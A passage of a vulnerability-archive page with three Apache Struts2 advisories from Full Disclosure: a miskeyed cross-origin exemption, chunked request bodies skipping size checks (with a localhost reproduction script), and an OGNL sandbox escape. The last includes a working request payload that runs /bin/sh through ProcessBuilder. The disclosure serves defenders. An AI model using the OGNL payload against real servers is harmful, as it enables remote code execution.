(exemptedPaths.contains(path)) { ``` Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/CoepInterceptor.java, lines 59-63 ```java @Override public void beforeResult(ActionInvocation invocation, String resultCode) { HttpServletRequest request = invocation.getInvocationContext().getServletRequest(); String path = request.getContextPath(); if (isExempted(path)) { ``` Code from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/CoopInterceptor.java, lines 61-65 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apache Struts2 Core Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 Core",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\nApache Struts2 Core version 7.4.0 and below\u0027s `FetchMetadataInterceptor`, `CoepInterceptor`, and `CoopInterceptor` each \ncompare their `exemptedPaths` configuration -- a per-interceptor-reference, administrator-supplied set of paths \nintended to exempt specific actions from the corresponding cross-origin protection -- against \n`HttpServletRequest.getContextPath()`.  `getContextPath()` is fixed for the entire deployed web application and is \nidentical on every request regardless of which action or servlet path is being invoked, so it cannot distinguish one \naction from another.\n\nImpact\nAn administrator who configures `exemptedPaths` expecting it to exempt a specific action or endpoint, instead is \nconfiguring a value that can never match the real, single, deployment-wide context path returned on genuine traffic, so \nthe per-action exemption never takes effect and the intended protection remains enforced everywhere, including on the \nendpoint the administrator believed was exempted.  More importantly, if an administrator\u0027s configured exemption string \nhappens to coincide with the application\u0027s actual context path -- such as if an administrator assumes that the \nparameter takes a path-like value and supplies the deployment\u0027s own root or an equally-named segment -- \n`exemptedPaths.contains(contextPath)` evaluates to `true` on every single request to the application and Fetch Metadata \nrequest filtering, the Cross-Origin Embedder Policy (COEP) header, and the Cross-Origin Opener Policy (COOP) header are \nall silently disabled for the entire deployment (well beyond the endpoint that the administrator intended to exempt), \ndisabling the protections that such code is intended to provide across the entire application.\n\nExamples\nSample Code\nAll three interceptors, each in `struts2-core`, apply the identical pattern -- a per-action `exemptedPaths` set \ncompared against the deployment-wide `getContextPath()` rather than against anything that actually varies per action.\n\n```java\n    private final Set\u003cString\u003e exemptedPaths = new HashSet\u003c\u003e();\n    private final ResourceIsolationPolicy resourceIsolationPolicy = new StrutsResourceIsolationPolicy();\n\n    @Inject(required = false)\n    public void setExemptedPaths(String paths) {\n        this.exemptedPaths.addAll(TextParseUtil.commaDelimitedStringToSet(paths));\n    }\n\n    @Override\n    public String intercept(ActionInvocation invocation) throws Exception {\n        ActionContext context = invocation.getInvocationContext();\n        HttpServletRequest request = context.getServletRequest();\n\n        addVaryHeaders(invocation);\n\n        String contextPath = request.getContextPath();\n        // Apply exemptions: paths/endpoints meant to be served cross-origin\n        if (exemptedPaths.contains(contextPath)) {\n            return invocation.invoke();\n        }\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/FetchMetadataInterceptor.java, \nlines 55-73\n\n```java\n    @Override\n    public void beforeResult(ActionInvocation invocation, String resultCode) {\n        HttpServletRequest req = invocation.getInvocationContext().getServletRequest();\n        final String path = req.getContextPath();\n\n        if (exemptedPaths.contains(path)) {\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/CoepInterceptor.java, lines 59-63\n\n```java\n    @Override\n    public void beforeResult(ActionInvocation invocation, String resultCode) {\n        HttpServletRequest request = invocation.getInvocationContext().getServletRequest();\n        String path = request.getContextPath();\n\n        if (isExempted(path)) {\n```\nCode from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/CoopInterceptor.java, lines 61-65\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:24Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/3"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 Core Cross-Origin Protection Exemption Miskeyed to a Deployment-Wide Path",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0534",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/3",
            "automated": true,
            "contentSha256": "a8d947043423f1c7e5b1240cd8d1e751ef827342a6bd4f7efbe0e59b3c279252",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-29T13:34:55Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:24Z",
    "dateUpdated": "2026-11-02T09:47:24Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0534"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0533

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
Apache Struts2 REST Plugin Fails to Properly Parse Chunked Requests
Summary
Description The Apache Struts2 REST Plugin's (version 7.4.0 and below) `ContentTypeInterceptor.intercept(ActionInvocation)` only deserialises a request body and enforces the `struts.rest.content.maxLength` bound when `HttpServletRequest#getContentLength()` returns a positive value. `getContentLength()` returns `-1` whenever the `Content-Length` header is absent, which normal and appropriate for any Hypertext Transfer Protocol (HTTP) request sent with `Transfer-Encoding: chunked`, so the entire body-processing branch -- including the bounded-reader size check -- is skipped for every such request. Impact Any client that sends a chunked-encoded request body causes the action to be invoked as though no body had been sent at all, with every body field silently left unbound and no exception, warning, or rejection raised to either the caller or the server logs. While a potentially minor or major detail, it is important to note that because the interceptor fails to parse the request body, the `struts.rest.content.maxLength` guard provides no protection whatsoever, as the `BoundedReader` that enforces it sits inside the branch that chunked requests never enter. An attacker can, as such, submit an arbitrarily large chunked body without the configured size ceiling ever being consulted, and any downstream logic that assumes a submitted field was bound -- default-initialisation checks, business validation keyed to a now-absent value, and the like -- will silently fall back to whatever behaviour applies when the field was never set. It is important to note that the downstream logic is application-specific and that your application may do something terribly wrong or may not depending on your specific code -- Apache's Struts2 REST Plugin merely introduces the unexpected pathway -- and that interceptor ordering, additional interceptors, etc., may cause the body to still be parsed and deserialised, only that the Apache Struts2 REST Plugin will not take part in such activities, which may further complicate the severity calculation (if, for example, data flows through the REST Plugin and then into a custom JSON deserialiser via another interceptor, the assumed "protections" of the REST Plugin would never have taken place and the default path of your code may assume an INDEX or similar request). Examples Sample Code `intercept(ActionInvocation)` guards the entire body-deserialisation and size-enforcement block on `request.getContentLength() > 0`, so a chunked request -- for which `getContentLength()` legitimately returns `-1` -- falls straight through to `invocation.invoke()` with the body never read. ```java public String intercept(ActionInvocation invocation) throws Exception { HttpServletRequest request = ServletActionContext.getRequest(); ContentTypeHandler handler = selector.getHandlerForRequest(request); Object target = invocation.getAction(); if (target instanceof ModelDriven) { target = ((ModelDriven<?>) target).getModel(); } if (request.getContentLength() > 0) { BoundedReader reader = new BoundedReader(openBodyReader(request), maxLength); try { applyRequestBody(invocation, handler, target, reader); } catch (Exception e) { if (reader.limitExceeded()) { throw requestBodyTooLarge(); } throw e; } if (reader.limitExceeded()) { throw requestBodyTooLarge(); } } return invocation.invoke(); } ``` Code snippet from `struts2-rest-plugin`'s plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java, lines 114-138, with line 123's `if (request.getContentLength() > 0)` gating both `applyRequestBody()` and every `BoundedReader`/`maxLength` check; nothing in this method, or any upstream code, separately inspects `Transfer-Encoding` and handles chunked encoding Sample Dynamic Testing The following was against the rest-showcase codebase, running Struts 7.5.0-SNAPSHOT, built on 28 October 2026. The first, an ordinary `Content-Length`-bearing submission, correctly binds `clientName` and creates a new order. The second, a byte-identical JavaScript Object Notation (JSON) body sent with `Transfer-Encoding: chunked` and no `Content-Length` header, is never bound onto the model at all -- `validate()` fires against `clientName`'s untouched Java default and the action rejects the request with only the ordinary field-validation error a caller would see for a genuinely empty submission. Importantly, how the information system behaves is dependent on the information system, itself, so while the rest-showcase example behaves as such, yours may do something considerably worse. ```http POST /rest-showcase/orders HTTP/1.1 Host: 127.0.0.1:8383 Content-Type: application/json Accept: application/json Content-Length: 47 {"clientName":"CalibrationNormal","amount":11} ``` Request -- an ordinary, `Content-Length`-bearing submission ```http HTTP/1.1 201 Location: http://127.0.0.1:8383/rest-showcase/orders/6 ``` Response -- `201`; the order is created with `clientName` correctly bound from the submitted body ```http POST /rest-showcase/orders HTTP/1.1 Host: 127.0.0.1:8383 Content-Type: application/json Accept: application/json Transfer-Encoding: chunked 2f\r {"clientName":"CalibrationChunked","amount":22}\r 0\r \r ``` Request -- the byte-identical JavaScript Object Notation (JSON) body, now sent with `Transfer-Encoding: chunked` and without a `Content-Length` header ```http HTTP/1.1 400 Content-Type: application/json;charset=UTF-8 {"actionErrors":[],"fieldErrors":{"clientName":["The client name is empty"]}} ``` Response -- `400`; `clientName` was never bound, so `validate()` rejects the request as though an empty body had been submitted with no indication that the chunked encoding itself was the cause; a subsequent `GET /rest-showcase/orders.json` confirms that no order named `CalibrationChunked` was ever created whilst the first request's `CalibrationNormal` order (`id: 6`) is present Steps to Reproduce Run the following self-contained script against a running rest-showcase deployment. It creates one order via an ordinary request, attempts to create a second via a chunked request, confirms the chunked attempt was never bound, and cleans up the one order it legitimately created, independently re-verifying the cleanup succeeded. ```python #!/usr/bin/env python3 """Standalone reproduction for "`Content-Length` Guard Skips Chunked Request Body Processing" against the struts2-rest-plugin's ContentTypeInterceptor, exercised live through rest-showcase's OrdersController. Requires `pip install requests`. """ import sys import time import requests BASE_URL = "http://127.0.0.1:8383/rest-showcase"; def chunked_body(payload: bytes): # A generator body forces requests/urllib3 to send Transfer-Encoding: # chunked with no Content-Length header at all -- the standard # mechanism several HTTP client libraries use for streamed bodies yield payload def list_order_ids() -> set: response = requests.get(f"{BASE_URL}/orders.json", timeout=20) response.raise_for_status() return {order["id"] for order in response.json()} def main() -> bool: marker = str(int(time.time() * 1000)) normal_name = f"ChunkedGuardNormal-{marker}" chunked_name = f"ChunkedGuardChunked-{marker}" baseline_ids = list_order_ids() print(f"baseline order ids: {sorted(baseline_ids)}") # 1) Ordinary, Content-Length-bearing POST -- the control case normal_body = f'{{"clientName":"{normal_name}","amount":11}}'.encode("utf-8") normal_response = requests.post( f"{BASE_URL}/orders", data=normal_body, headers={"Content-Type": "application/json", "Accept": "application/json"}, timeout=20, ) print(f"normal POST -> HTTP {normal_response.status_code}, " f"Location={normal_response.headers.get('Location')}") after_normal_ids = list_order_ids() created_ids = after_normal_ids - baseline_ids normal_created = normal_response.status_code == 201 and len(created_ids) == 1 if not normal_created: print("FAIL: the control (Content-Length) request did not create an order as expected") return False created_id = created_ids.pop() print(f"control request created order {created_id} ({normal_name}) -- binding works normally") # 2) Byte-identical JSON, sent via a generator body chunked_payload = f'{{"clientName":"{chunked_name}","amount":22}}'.encode("utf-8") chunked_response = requests.post( f"{BASE_URL}/orders", data=chunked_body(chunked_payload), headers={"Content-Type": "application/json", "Accept": "application/json"}, timeout=20, ) sent_headers = chunked_response.request.headers print(f"chunked POST -> HTTP {chunked_response.status_code}") print(f"outbound request headers: Transfer-Encoding={sent_headers.get('Transfer-Encoding')}, " f"Content-Length={sent_headers.get('Content-Length')}") after_chunked_ids = list_order_ids() chunked_created = len(after_chunked_ids - after_normal_ids) > 0 vulnerable = ( sent_headers.get("Transfer-Encoding") == "chunked" and "Content-Length" not in sent_headers and chunked_response.status_code == 400 and not chunked_created ) if vulnerable: print(f"VULNERABLE: the chunked request's body was never bound onto the model -- " f"OrdersController.validate() rejected it with HTTP {chunked_response.status_code} " f"({chunked_response.json()}), and no order named {chunked_name!r} was ever created, " f"even though the byte-identical body succeeded moments earlier when sent with " f"Content-Length instead.") else: print("did not reproduce") # Cleanup: remove the one order this script legitimately created, then # independently re-verify the cleanup actually took effect. The chunked # request never created anything, so there is nothing to delete for it delete_response = requests.delete(f"{BASE_URL}/orders/{created_id}", timeout=20) print(f"cleanup: DELETE /orders/{created_id} -> HTTP {delete_response.status_code}") final_ids = list_order_ids() if created_id in final_ids: print(f"WARNING: cleanup did not remove order {created_id}; remove it manually") else: print(f"cleanup verified: order {created_id} no longer present (back to baseline)") return vulnerable if __name__ == "__main__": sys.exit(0 if main() else 1) ``` _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apache Struts2 REST Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 REST",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\nThe Apache Struts2 REST Plugin\u0027s (version 7.4.0 and below) `ContentTypeInterceptor.intercept(ActionInvocation)` only \ndeserialises a request body and enforces the `struts.rest.content.maxLength` bound when \n`HttpServletRequest#getContentLength()` returns a positive value.  `getContentLength()` returns `-1` whenever the \n`Content-Length` header is absent, which normal and appropriate for any Hypertext Transfer Protocol (HTTP) request sent \nwith `Transfer-Encoding: chunked`, so the entire body-processing branch -- including the bounded-reader size check -- \nis skipped for every such request.\n\nImpact\nAny client that sends a chunked-encoded request body causes the action to be invoked as though no body had been sent at \nall, with every body field silently left unbound and no exception, warning, or rejection raised to either the caller or \nthe server logs.  While a potentially minor or major detail, it is important to note that because the interceptor fails \nto parse the request body, the `struts.rest.content.maxLength` guard provides no protection whatsoever, as the \n`BoundedReader` that enforces it sits inside the branch that chunked requests never enter.  An attacker can, as such, \nsubmit an arbitrarily large chunked body without the configured size ceiling ever being consulted, and any downstream \nlogic that assumes a submitted field was bound -- default-initialisation checks, business validation keyed to a \nnow-absent value, and the like -- will silently fall back to whatever behaviour applies when the field was never set.  \nIt is important to note that the downstream logic is application-specific and that your application may do something \nterribly wrong or may not depending on your specific code -- Apache\u0027s Struts2 REST Plugin merely introduces the \nunexpected pathway -- and that interceptor ordering, additional interceptors, etc., may cause the body to still be \nparsed and deserialised, only that the Apache Struts2 REST Plugin will not take part in such activities, which may \nfurther complicate the severity calculation (if, for example, data flows through the REST Plugin and then into a custom \nJSON deserialiser via another interceptor, the assumed \"protections\" of the REST Plugin would never have taken place \nand the default path of your code may assume an INDEX or similar request).\n\nExamples\nSample Code\n`intercept(ActionInvocation)` guards the entire body-deserialisation and size-enforcement block on \n`request.getContentLength() \u003e 0`, so a chunked request -- for which `getContentLength()` legitimately returns `-1` -- \nfalls straight through to `invocation.invoke()` with the body never read.\n\n```java\n    public String intercept(ActionInvocation invocation) throws Exception {\n        HttpServletRequest request = ServletActionContext.getRequest();\n        ContentTypeHandler handler = selector.getHandlerForRequest(request);\n\n        Object target = invocation.getAction();\n        if (target instanceof ModelDriven) {\n            target = ((ModelDriven\u003c?\u003e) target).getModel();\n        }\n\n        if (request.getContentLength() \u003e 0) {\n            BoundedReader reader = new BoundedReader(openBodyReader(request), maxLength);\n            try {\n                applyRequestBody(invocation, handler, target, reader);\n            } catch (Exception e) {\n                if (reader.limitExceeded()) {\n                    throw requestBodyTooLarge();\n                }\n                throw e;\n            }\n            if (reader.limitExceeded()) {\n                throw requestBodyTooLarge();\n            }\n        }\n        return invocation.invoke();\n    }\n```\nCode snippet from `struts2-rest-plugin`\u0027s \nplugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java, lines 114-138, with line 123\u0027s `if \n(request.getContentLength() \u003e 0)` gating both `applyRequestBody()` and every `BoundedReader`/`maxLength` check; nothing \nin this method, or any upstream code, separately inspects `Transfer-Encoding` and handles chunked encoding\n\nSample Dynamic Testing\nThe following was against the rest-showcase codebase, running Struts 7.5.0-SNAPSHOT, built on 28 October 2026.  The \nfirst, an ordinary `Content-Length`-bearing submission, correctly binds `clientName` and creates a new order.  The \nsecond, a byte-identical JavaScript Object Notation (JSON) body sent with `Transfer-Encoding: chunked` and no \n`Content-Length` header, is never bound onto the model at all -- `validate()` fires against `clientName`\u0027s untouched \nJava default and the action rejects the request with only the ordinary field-validation error a caller would see for a \ngenuinely empty submission.  Importantly, how the information system behaves is dependent on the information system, \nitself, so while the rest-showcase example behaves as such, yours may do something considerably worse.\n\n```http\nPOST /rest-showcase/orders HTTP/1.1\nHost: 127.0.0.1:8383\nContent-Type: application/json\nAccept: application/json\nContent-Length: 47\n\n{\"clientName\":\"CalibrationNormal\",\"amount\":11}\n```\nRequest -- an ordinary, `Content-Length`-bearing submission\n\n```http\nHTTP/1.1 201\nLocation: http://127.0.0.1:8383/rest-showcase/orders/6\n```\nResponse -- `201`; the order is created with `clientName` correctly bound from the submitted body\n\n```http\nPOST /rest-showcase/orders HTTP/1.1\nHost: 127.0.0.1:8383\nContent-Type: application/json\nAccept: application/json\nTransfer-Encoding: chunked\n\n2f\\r\n{\"clientName\":\"CalibrationChunked\",\"amount\":22}\\r\n0\\r\n\\r\n\n```\nRequest -- the byte-identical JavaScript Object Notation (JSON) body, now sent with `Transfer-Encoding: chunked` and \nwithout a `Content-Length` header\n\n```http\nHTTP/1.1 400\nContent-Type: application/json;charset=UTF-8\n\n{\"actionErrors\":[],\"fieldErrors\":{\"clientName\":[\"The client name is empty\"]}}\n```\nResponse -- `400`; `clientName` was never bound, so `validate()` rejects the request as though an empty body had been \nsubmitted with no indication that the chunked encoding itself was the cause; a subsequent `GET \n/rest-showcase/orders.json` confirms that no order named `CalibrationChunked` was ever created whilst the first \nrequest\u0027s `CalibrationNormal` order (`id: 6`) is present\n\nSteps to Reproduce\nRun the following self-contained script against a running rest-showcase deployment. It creates one order via an \nordinary request, attempts to create a second via a chunked request, confirms the chunked attempt was never bound, and \ncleans up the one order it legitimately created, independently re-verifying the cleanup succeeded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Standalone reproduction for \"`Content-Length` Guard Skips Chunked Request\nBody Processing\" against the struts2-rest-plugin\u0027s ContentTypeInterceptor,\nexercised live through rest-showcase\u0027s OrdersController.\n\nRequires `pip install requests`.\n\"\"\"\nimport sys\nimport time\nimport requests\n\nBASE_URL = \"http://127.0.0.1:8383/rest-showcase\";\n\n\ndef chunked_body(payload: bytes):\n    # A generator body forces requests/urllib3 to send Transfer-Encoding:\n    # chunked with no Content-Length header at all -- the standard\n    # mechanism several HTTP client libraries use for streamed bodies\n    yield payload\n\n\ndef list_order_ids() -\u003e set:\n    response = requests.get(f\"{BASE_URL}/orders.json\", timeout=20)\n    response.raise_for_status()\n    return {order[\"id\"] for order in response.json()}\n\n\ndef main() -\u003e bool:\n    marker = str(int(time.time() * 1000))\n    normal_name = f\"ChunkedGuardNormal-{marker}\"\n    chunked_name = f\"ChunkedGuardChunked-{marker}\"\n\n    baseline_ids = list_order_ids()\n    print(f\"baseline order ids: {sorted(baseline_ids)}\")\n\n    # 1) Ordinary, Content-Length-bearing POST -- the control case\n    normal_body = f\u0027{{\"clientName\":\"{normal_name}\",\"amount\":11}}\u0027.encode(\"utf-8\")\n    normal_response = requests.post(\n        f\"{BASE_URL}/orders\",\n        data=normal_body,\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n        timeout=20,\n    )\n    print(f\"normal POST -\u003e HTTP {normal_response.status_code}, \"\n          f\"Location={normal_response.headers.get(\u0027Location\u0027)}\")\n\n    after_normal_ids = list_order_ids()\n    created_ids = after_normal_ids - baseline_ids\n    normal_created = normal_response.status_code == 201 and len(created_ids) == 1\n    if not normal_created:\n        print(\"FAIL: the control (Content-Length) request did not create an order as expected\")\n        return False\n    created_id = created_ids.pop()\n    print(f\"control request created order {created_id} ({normal_name}) -- binding works normally\")\n\n    # 2) Byte-identical JSON, sent via a generator body\n    chunked_payload = f\u0027{{\"clientName\":\"{chunked_name}\",\"amount\":22}}\u0027.encode(\"utf-8\")\n    chunked_response = requests.post(\n        f\"{BASE_URL}/orders\",\n        data=chunked_body(chunked_payload),\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n        timeout=20,\n    )\n    sent_headers = chunked_response.request.headers\n    print(f\"chunked POST -\u003e HTTP {chunked_response.status_code}\")\n    print(f\"outbound request headers: Transfer-Encoding={sent_headers.get(\u0027Transfer-Encoding\u0027)}, \"\n          f\"Content-Length={sent_headers.get(\u0027Content-Length\u0027)}\")\n\n    after_chunked_ids = list_order_ids()\n    chunked_created = len(after_chunked_ids - after_normal_ids) \u003e 0\n\n    vulnerable = (\n        sent_headers.get(\"Transfer-Encoding\") == \"chunked\"\n        and \"Content-Length\" not in sent_headers\n        and chunked_response.status_code == 400\n        and not chunked_created\n    )\n\n    if vulnerable:\n        print(f\"VULNERABLE: the chunked request\u0027s body was never bound onto the model -- \"\n              f\"OrdersController.validate() rejected it with HTTP {chunked_response.status_code} \"\n              f\"({chunked_response.json()}), and no order named {chunked_name!r} was ever created, \"\n              f\"even though the byte-identical body succeeded moments earlier when sent with \"\n              f\"Content-Length instead.\")\n    else:\n        print(\"did not reproduce\")\n\n    # Cleanup: remove the one order this script legitimately created, then\n    # independently re-verify the cleanup actually took effect. The chunked\n    # request never created anything, so there is nothing to delete for it\n    delete_response = requests.delete(f\"{BASE_URL}/orders/{created_id}\", timeout=20)\n    print(f\"cleanup: DELETE /orders/{created_id} -\u003e HTTP {delete_response.status_code}\")\n    final_ids = list_order_ids()\n    if created_id in final_ids:\n        print(f\"WARNING: cleanup did not remove order {created_id}; remove it manually\")\n    else:\n        print(f\"cleanup verified: order {created_id} no longer present (back to baseline)\")\n\n    return vulnerable\n\n\nif __name__ == \"__main__\":\n    sys.exit(0 if main() else 1)\n```\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:24Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/2"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/2"
        },
        {
          "url": "http://127.0.0.1:8383/rest-showcase\""
        },
        {
          "url": "http://127.0.0.1:8383/rest-showcase/orders/6"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/2"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 REST Plugin Fails to Properly Parse Chunked Requests",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0533",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/2",
            "automated": true,
            "contentSha256": "8f6753a8aad7f798915cc4a0a38ded4cd58be4ff1b288a1022888e2be7867676",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/2",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-29T12:33:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:24Z",
    "dateUpdated": "2026-11-02T09:47:24Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0533"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0532

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
Apache Struts2 Core Arbitrary Code Execution via OGNL Sandbox Escape
Summary
Description Apache Struts2 Core version 7.4.0 and below attempt to prevent arbitrary code execution via Object-Graph Navigation Language (OGNL) through several different mechanisms but only in a cursory fashion -- the libraries only guard against immediate calls evaluated by the OGNL engine via `SecurityMemberAccess`, but an allowed call that, instead, accepts nested arguments and, itself, invokes reflection internally executes outside of the scope of said cursory protections, thereby enabling attackers to bypass the limited protections entirely. It should be noted that this attack, obviously, only works in locations where the information system runs the input/output through an OGNL parser and executor. Moreover, there is a key difference between Struts2 Core 6.x and below and 7.x -- 7.x favours a whitelist-based approach that is coupled with some blacklisting, while 6.x and below only check a blacklist (if anything at all). This means that for successful exploitation in 6.x and below, attackers can simply find a call that uses reflection and that isn't explicitly blacklisted (e.g., `java.beans.Statement` and `java.beans.Expression`), embed the otherwise disallowed reflective call, and watch it run. In 7.x, however, attackers must use something that has been explicitly allowed, first, as the wrapper, which raises the bar for exploitation, reducing the likelihood for most systems running 7.x (if someone does not realise that the Struts2 Core library only provides cursory protections, they will not understand the risk and may accidentally add something like `java.beans.Statement`), but does not reduce the impact or eliminate the risk. Impact Attackers can bypass the Apache Struts2 Core and OGNL library's protections against arbitrary code execution via malicious OGNL through nested calls, thereby executing arbitrary code on the information system. Importantly, through this, attackers can bypass not only the class/method checks, but also the static/non-static checks, allowing attackers to, for example, call to `ProcessBuilder`, dump the environment variables via `System.getenv(String)`, and various other such calls. Steps to Reproduce Sample Query The following will work on Apache Struts2 Core versions 6.x and below (assuming that `query` runs through the OGNL parser, etc. -- this can happen on the request, but also if the string is reflected back in, say, a JSP via tags that do as such) without much effort. On Apache Struts2 Core 7.x, though, `java.beans.Expression` would need to be whitelisted, first. GET /search.action?query=new+java.beans.Expression(new+java.beans.Expression(%40java.lang.ProcessBuilder%40class,'new',new+Object%5B%5D%7Bnew+String%5B%5D%7B'/bin/sh','-c','id+%3E+%3C%3CREPLACE+ME+--+a+fresh+marker+file+path%3E%3E'%7D%7D).getValue(),'start',new+Object%5B0%5D).getValue() _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apache Struts2 Core Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 Core",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\nApache Struts2 Core version 7.4.0 and below attempt to prevent arbitrary code execution via Object-Graph Navigation \nLanguage (OGNL) through several different mechanisms but only in a cursory fashion -- the libraries only guard against \nimmediate calls evaluated by the OGNL engine via `SecurityMemberAccess`, but an allowed call that, instead, accepts \nnested arguments and, itself, invokes reflection internally executes outside of the scope of said cursory protections, \nthereby enabling attackers to bypass the limited protections entirely.\n\nIt should be noted that this attack, obviously, only works in locations where the information system runs the \ninput/output through an OGNL parser and executor.  Moreover, there is a key difference between Struts2 Core 6.x and \nbelow and 7.x -- 7.x favours a whitelist-based approach that is coupled with some blacklisting, while 6.x and below \nonly check a blacklist (if anything at all).  This means that for successful exploitation in 6.x and below, attackers \ncan simply find a call that uses reflection and that isn\u0027t explicitly blacklisted (e.g., `java.beans.Statement` and \n`java.beans.Expression`), embed the otherwise disallowed reflective call, and watch it run.  In 7.x, however, attackers \nmust use something that has been explicitly allowed, first, as the wrapper, which raises the bar for exploitation, \nreducing the likelihood for most systems running 7.x (if someone does not realise that the Struts2 Core library only \nprovides cursory protections, they will not understand the risk and may accidentally add something like \n`java.beans.Statement`), but does not reduce the impact or eliminate the risk.\n\nImpact\nAttackers can bypass the Apache Struts2 Core and OGNL library\u0027s protections against arbitrary code execution via \nmalicious OGNL through nested calls, thereby executing arbitrary code on the information system.  Importantly, through \nthis, attackers can bypass not only the class/method checks, but also the static/non-static checks, allowing attackers \nto, for example, call to `ProcessBuilder`, dump the environment variables via `System.getenv(String)`, and various \nother such calls.\n\nSteps to Reproduce\nSample Query\nThe following will work on Apache Struts2 Core versions 6.x and below 